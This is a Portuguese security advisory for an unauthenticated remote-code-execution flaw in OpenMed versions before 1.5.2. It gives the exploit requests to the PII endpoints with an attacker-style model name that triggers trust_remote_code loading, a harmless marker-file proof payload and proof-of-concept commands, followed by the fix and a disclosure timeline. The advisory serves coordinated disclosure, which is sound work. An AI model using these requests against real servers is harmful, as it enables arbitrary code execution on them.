
OpenMed < 1.5.2 RCE não autenticado via carregamento do modelo de filtro de privacidade de PII e trust_remote_code=True
Severidade: Crítica, CVSS 4.0 9.3, CVSS 3.1 9.8 (atribuída pela VulnCheck, a CNA)
Vetor (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vetor (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Afetado: OpenMed < 1.5.2
Corrigido em: 1.5.2
CWE: CWE-94 (Controle Impróprio da Geração de Código, Injeção de Código)
Descoberto e reportado por: Sai Teja Erukude
Publicado: 2 de junho de 2026
O OpenMed anterior à versão 1.5.2 contém uma vulnerabilidade de execução remota de código não autenticada no caminho de carregamento do modelo de filtro de privacidade PII.
Os endpoints da API REST POST /pii/extract e POST /pii/deidentify aceitam um valor model_name do corpo da requisição. Em versões vulneráveis, o dispatcher do filtro de privacidade utilizava correspondência ampla de substring sobre esse valor controlado pelo atacante. Um nome de modelo como attacker/foo-privacy-filter-bar poderia, portanto, ser roteado para o backend do filtro de privacidade.
Em implantações que não utilizam MLX/Torch, esse backend carregava artefatos de modelo do Hugging Face por meio do Transformers com trust_remote_code=True. Se o repositório de modelo controlado pelo atacante contivesse código Transformers personalizado referenciado por meio de auto_map em config.json ou tokenizer_config.json, o Transformers importava e executava esse código Python durante o carregamento do modelo ou do tokenizer.
O código importado era executado com os privilégios do processo do serviço OpenMed.
Um atacante remoto não autenticado que consiga alcançar a API REST do OpenMed pode executar código Python arbitrário no servidor fornecendo um identificador de modelo malicioso no estilo Hugging Face em model_name.
Dependendo da implantação do serviço, isso pode permitir:
O problema é alcançável por meio de ambos os endpoints PII, pois ambos aceitam model_name e utilizam o mesmo caminho de extração PII/carregamento de modelo:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
O fluxo de controle vulnerável apresenta duas falhas de limite de confiança:
model_name fornecido pelo usuário ao selecionar o backend do filtro de privacidade.trust_remote_code=True.O dispatcher tratava qualquer identificador de modelo contendo privacy-filter como parte da família de filtros de privacidade. Isso permitia que identificadores controlados pelo atacante, por exemplo attacker/foo-privacy-filter-bar, alcançassem um caminho de código destinado a modelos Privacy Filter confiáveis de primeira parte.
Uma vez roteado para lá, o Transformers poderia carregar código personalizado controlado pelo atacante por meio de auto_map. Essa importação ocorre durante o carregamento do modelo/tokenizer, antes que qualquer inferência útil precise ser bem-sucedida. Uma carga de prova pode, portanto, ser tão pequena quanto:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py cria um diretório de modelo local inofensivo no estilo Hugging Face cujo nome contém privacy-filter. Os módulos Transformers personalizados gerados gravam um arquivo marcador quando são importados. O script então envia uma requisição para uma instância de teste da API OpenMed com esse diretório como model_name.
O comportamento esperado em versões vulneráveis do OpenMed é:
model_name controlado pelo atacante.trust_remote_code=True.Execute apenas contra uma instância de teste local:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
Se o serviço OpenMed for executado em um local que não consegue acessar o diretório local gerado, publique um modelo de teste equivalente em um repositório Hugging Face controlado e passe esse identificador explicitamente:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
Atualize para o OpenMed 1.5.2 ou posterior.
O OpenMed 1.5.2 separa o roteamento da confiança:
privacy-filter não são mais roteados pelo caminho confiável do privacy-filter.PrivacyFilterTorchPipeline define trust_remote_code como False por padrão.OPENMED_TRUSTED_REMOTE_CODE_MODELS.Se a atualização imediata não for possível:
model_name controlados pelo usuário para o Transformers com trust_remote_code=True.| Data | Evento |
|---|---|
| 18 de maio de 2026 | Vulnerabilidade enviada ao VulnCheck |
| 20 de maio de 2026 | VulnCheck iniciou o contato de divulgação coordenada |
| 22 de maio de 2026 | CVE-2026-47117 alocada provisoriamente |
| 1 de junho de 2026 | Correção do OpenMed 1.5.2 revisada e confirmada |
| 2 de junho de 2026 | CVE-2026-47117 publicada |
Descoberta e reportada por Sai Teja Erukude.
A divulgação foi coordenada por meio do VulnCheck.